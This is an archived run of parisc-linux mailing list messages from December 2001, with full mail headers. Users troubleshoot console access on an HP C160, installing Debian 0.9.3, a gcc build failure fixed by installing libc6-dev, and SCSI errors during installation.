BTW. 0.9.3 is overall very well done. Many thanks to those who made it
happen.=20

On Fri, 2001-12-14 at 18:53, James P. Kinney III wrote:
> Oops. I forgot to include the details.
>=20
> C160, HP 700/96 console. The big monitor is a 4033A connected to a
> 4071B_LZ graphics card. I don't have an adapter for the onboard Gecko
> graphics. I have yet to get console on the STI graphics.
>=20
> The box is booting now. (???) I can ping it and it has a heartbeat. No
> screen access or keyboard. I've tried moving the console to serial_2 on
> the box. No luck.=20
>=20
> On Fri, 2001-12-14 at 18:41, Paul Bame wrote:
> > =3D Big problems. No console. No keyboard.
> >=20
> > And no information.  What kind of parisc box?  What is your
> > serial console?  Terminal?  Terminal software?  What kind?  etc
> >=20
> >=20
> > 	-P
> --=20
> James P. Kinney III   \Changing the mobile computing world/
> President and COO      \          one Linux user         /
> Local Net Solutions,LLC \           at a time.          /
> 770-493-8244             \.___________________________./
>=20
> GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
> <jkinney@localnetsolutions.com>
> Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20
>=20
>=20
--=20
James P. Kinney III   \Changing the mobile computing world/
President and COO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-dt0MaK7SwHb6rAWRIX50
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA8Gp0OYZCtw4KcbKcRAmR4AJ4q+kgB+NR4rZfIjBSxx74edY/X9wCg1g8M
rdHI8xMLgUeAI79q8p+IVRI=
=cj8s
-----END PGP SIGNATURE-----

--=-dt0MaK7SwHb6rAWRIX50--



From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter Lavender" <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dumb question.. :(
Date: Sat, 15 Dec 2001 20:13:57 +1100
Lines: 19
Approved: news@gmane.org
Message-ID: <002101c18548$d3a1a450$090ba8c0@winnie>
References: <000701c18468$ecfca4d0$090ba8c0@winnie> <20011214070638.E25715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620851 31605 80.91.229.3 (22 Nov 2014 01:47:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:31 +0000 (UTC)
Cc: "parisc" <parisc-linux@parisc-linux.org>
To: "Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 15 02:10:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta01bw.bigpond.com (mta01bw.bigpond.com [139.134.6.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B531482A
	for <parisc-linux@parisc-linux.org>; Sat, 15 Dec 2001 02:10:45 -0700 (MST)
Original-Received: from winnie ([144.135.24.78]) by mta01bw.bigpond.com
          (Netscape Messaging Server 4.15) with SMTP id GODOGI00.DCJ; Sat,
          15 Dec 2001 19:17:06 +1000 
Original-Received: from CPE-203-51-25-196.nsw.bigpond.net.au ([203.51.25.196]) by bwmam04.mailsvc.email.bigpond.com(MailRouter V3.0g 29/1534770); 15 Dec 2001 19:10:16
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13365

> I've just heard that adding 'cdrom' as a boot option makes some of
> this confusion go away, but I havn't investigated yet.
>

I have it installed now.. :)

Put it down to a first time debian install too.  I was able to browse the
directory tree on the CD once I hit the <...>.

Thanks.

The installation really is simple and straight forward.  It's not time I
learn how to use debian and it's package manager.  I d/led the the base
install ISO, and now want to get apache on it.. :)

Pete




From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Hartmann <J.Hartmann@reinarts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc on 0.9.3 iso problem
Date: Sat, 15 Dec 2001 14:43:25 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <561134811041.20011215144325@reinarts.de>
Reply-To: Joerg Hartmann <J.Hartmann@reinarts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620852 31607 80.91.229.3 (22 Nov 2014 01:47:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:32 +0000 (UTC)
To: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 15 05:31:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natpost.webmailer.de [192.67.198.65])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D525482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 05:31:39 -0700 (MST)
Original-Received: from computer (pec-89-129.tnt6.b2.uunet.de [149.225.89.129])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id NAA02357
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 13:31:37 +0100 (MET)
X-Mailer: The Bat! (v1.53d) UNREG / CD5BF9353B3B7091
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13366

Hello PARISC-Linux users,

i installed the debian ISO Version 0.9.3 on a hp9000/720
including the gcc (version 3.0.2).

But if i try to use this gcc i always get an error

hp-tux:/usr/src/samba-2.2.2/source# ./configure
creating cache ./config.cache
checking for gcc... gcc
checking whether the C compiler (gcc -O  ) works... no
configure: error: installation or configuration problem:
           C compiler cannot create executables.

Could someone please explains whats wrong here ?
Do i need another gcc ?
But if so, why is this gcc on the cd ?

Thanks .

-- 
Best regards,
 Joerg                          J.Hartmann@reinarts.de




From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Maneesh Singhal <maneesh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installation
Date: Sat, 15 Dec 2001 18:08:26 +0530 (IST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0112151802590.20337-100000@hpuxsrv.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620852 31609 80.91.229.3 (22 Nov 2014 01:47:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:32 +0000 (UTC)
To: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 15 05:42:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id A60994831
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 05:42:29 -0700 (MST)
Original-Received: from hpuxsrv.india.hp.com (hpuxsrv.india.hp.com [15.10.45.132])
	by palrel13.hp.com (Postfix) with ESMTP id 712911FA6E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 04:42:27 -0800 (PST)
Original-Received: from localhost (maneesh@localhost) by hpuxsrv.india.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id SAA21041 for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 18:08:27 +0530 (IST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13367

Hi,

     I was trying to install parisc-linux version 9.3 on my B180L machine. I was
     trying this through CD [I burned my CD]. While installing ... I faced following problems , can anybody help :

     1. at the time of Installing kernel and driver modules, it use to give 
	fatal error sometimes [a couple of times it passed too].. 
     2. This one is consistent, while installing the base system, it was always
	failing and use to give dump with error message saying 
	"console.data-........ scsi1:(2:0) Fatal Error : Not MSG_IN after
	selection .. Bus reset detected ..." etc. etc.


	A couple of times it tried to find out floppy drive too [ it is not there]
	and use to give dump when it doesn't find that drive, well, this is 
	while installing rescue.bin only.

	Can anybody tell me why these errors come and how can I solve them...

Regards.
Maneesh






From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc on 0.9.3 iso problem
Date: Sat, 15 Dec 2001 08:16:46 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20011215161646.GX1515@tausq.org>
References: <561134811041.20011215144325@reinarts.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620852 31618 80.91.229.3 (22 Nov 2014 01:47:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:32 +0000 (UTC)
Cc: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Joerg Hartmann <J.Hartmann@reinarts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 15 09:16:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0399482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 09:16:58 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id gllujaaa for parisc-linux@lists.parisc-linux.org; Sat, 15 Dec 2001 09:11:34 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16FHUU-0008Nn-00; Sat, 15 Dec 2001 08:16:46 -0800
Content-Disposition: inline
In-Reply-To: <561134811041.20011215144325@reinarts.de>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13368

> But if i try to use this gcc i always get an error
> 
> hp-tux:/usr/src/samba-2.2.2/source# ./configure
> creating cache ./config.cache
> checking for gcc... gcc
> checking whether the C compiler (gcc -O  ) works... no
> configure: error: installation or configuration problem:
>            C compiler cannot create executables.

Look for a config.log file in the directory. The log should show what is
wrong.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Hartmann <J.Hartmann@reinarts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re[2]: [parisc-linux] gcc on 0.9.3 iso problem
Date: Sat, 15 Dec 2001 19:34:48 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <861152294541.20011215193448@reinarts.de>
References: <561134811041.20011215144325@reinarts.de>
 <20011215161646.GX1515@tausq.org>
Reply-To: Joerg Hartmann <J.Hartmann@reinarts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620853 31619 80.91.229.3 (22 Nov 2014 01:47:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:33 +0000 (UTC)
To: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 15 10:23:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natpost.webmailer.de [192.67.198.65])
	by dsl2.external.hp.com (Postfix) with ESMTP id 574A3482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 10:23:21 -0700 (MST)
Original-Received: from computer (pec-152-222.tnt8.b2.uunet.de [149.225.152.222])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id SAA25235
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 18:23:19 +0100 (MET)
X-Mailer: The Bat! (v1.53d) UNREG / CD5BF9353B3B7091
X-Priority: 3 (Normal)
In-Reply-To: <20011215161646.GX1515@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13369

>> hp-tux:/usr/src/samba-2.2.2/source# ./configure
>> creating cache ./config.cache
>> checking for gcc... gcc
>> checking whether the C compiler (gcc -O  ) works... no
>> configure: error: installation or configuration problem:
>>            C compiler cannot create executables.

RC> Look for a config.log file in the directory. The log should show what is
RC> wrong.

The problem is a missing "crt1.o"

# gcc -o conftest -O    conftest.c  1>&5
/usr/bin/ld: cannot open crt1.o: No such file or directory
collect2: ld returned 1 exit status

I have the same error with hello_world.c .
As i am not a c-coder this i a real problem for me ...
I know this is not PA-RISC Linux specific nor is it samba specific.
It's just a problem with the gcc from the 0.9.3 ISO (i think).

Maybe someone can explain, what i am doing wrong here ?
I have installed gcc from the CD with "apt-get install gcc"
and i thought it has been installed with all the files it depends on,
because there was no error message while i was doing it.

-- 
Best regards,
 Joerg                            J.Hartmann@reinarts.de




From - Thu Nov 08 21:20:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc on 0.9.3 iso problem
Date: Sat, 15 Dec 2001 09:26:57 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20011215172657.GY1515@tausq.org>
References: <561134811041.20011215144325@reinarts.de> <20011215161646.GX1515@tausq.org> <861152294541.20011215193448@reinarts.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620853 31623 80.91.229.3 (22 Nov 2014 01:47:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:33 +0000 (UTC)
Cc: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Joerg Hartmann <J.Hartmann@reinarts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 15 10:27:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17F00482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 10:27:14 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id kbmujaaa for parisc-linux@lists.parisc-linux.org; Sat, 15 Dec 2001 10:21:45 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16FIaP-0008Rq-00; Sat, 15 Dec 2001 09:26:57 -0800
Content-Disposition: inline
In-Reply-To: <861152294541.20011215193448@reinarts.de>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13370

> The problem is a missing "crt1.o"

apt-get install libc6-dev

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc on 0.9.3 iso problem
Date: Sat, 15 Dec 2001 18:32:32 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20011215183232.A6668@solo.franken.de>
References: <561134811041.20011215144325@reinarts.de> <20011215161646.GX1515@tausq.org> <861152294541.20011215193448@reinarts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620853 31629 80.91.229.3 (22 Nov 2014 01:47:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:33 +0000 (UTC)
Cc: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Joerg Hartmann <J.Hartmann@reinarts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 15 10:35:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951CFF3.dip.t-dialin.net [217.81.207.243])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D2E9482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 10:35:56 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fBFHWW506696;
	Sat, 15 Dec 2001 18:32:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <861152294541.20011215193448@reinarts.de>; from J.Hartmann@reinarts.de on Sat, Dec 15, 2001 at 07:34:48PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13371

On Sat, Dec 15, 2001 at 07:34:48PM +0100, Joerg Hartmann wrote:
> Maybe someone can explain, what i am doing wrong here ?
> I have installed gcc from the CD with "apt-get install gcc"

apt-get install libc6-dev ? gcc is the compiler but you want a C library
for your C programs.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation
Date: Sat, 15 Dec 2001 21:06:56 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <200112160406.VAA05075@puffin.external.hp.com>
References: <maneesh@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620853 31635 80.91.229.3 (22 Nov 2014 01:47:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:33 +0000 (UTC)
Cc: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Maneesh Singhal <maneesh@india.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 15 21:12:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 803B1482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Dec 2001 21:12:23 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA05075;
	Sat, 15 Dec 2001 21:06:56 -0700
In-Reply-To: Message from Maneesh Singhal <maneesh@india.hp.com> 
   of "Sat, 15 Dec 2001 18:08:26 +0530." <Pine.HPX.4.21.0112151802590.20337-100000@hpuxsrv.india.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13372

Maneesh Singhal wrote:
>      1. at the time of Installing kernel and driver modules, it use to give 
> 	fatal error sometimes [a couple of times it passed too].. 
>      2. This one is consistent, while installing the base system, it was alwa
>   ys
> 	failing and use to give dump with error message saying 
> 	"console.data-........ scsi1:(2:0) Fatal Error : Not MSG_IN after
> 	selection .. Bus reset detected ..." etc. etc.

Can you use a serial console, capture the output, and post that here?

Also, please read the errata (link is on the 0.9 release page)

grant



From - Thu Nov 08 21:20:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation
Date: Sun, 16 Dec 2001 12:30:51 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <3C1C93FB.8AE6C6E3@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620854 31643 80.91.229.3 (22 Nov 2014 01:47:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: maneesh@india.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 16 05:27:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id C252B482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Dec 2001 05:27:15 -0700 (MST)
Original-Received: from ppp-151-37-009.tiscalinet.be ([213.151.37.10] helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 16FaIn-0007Ua-00; Sun, 16 Dec 2001 13:21:57 +0100
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.14 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
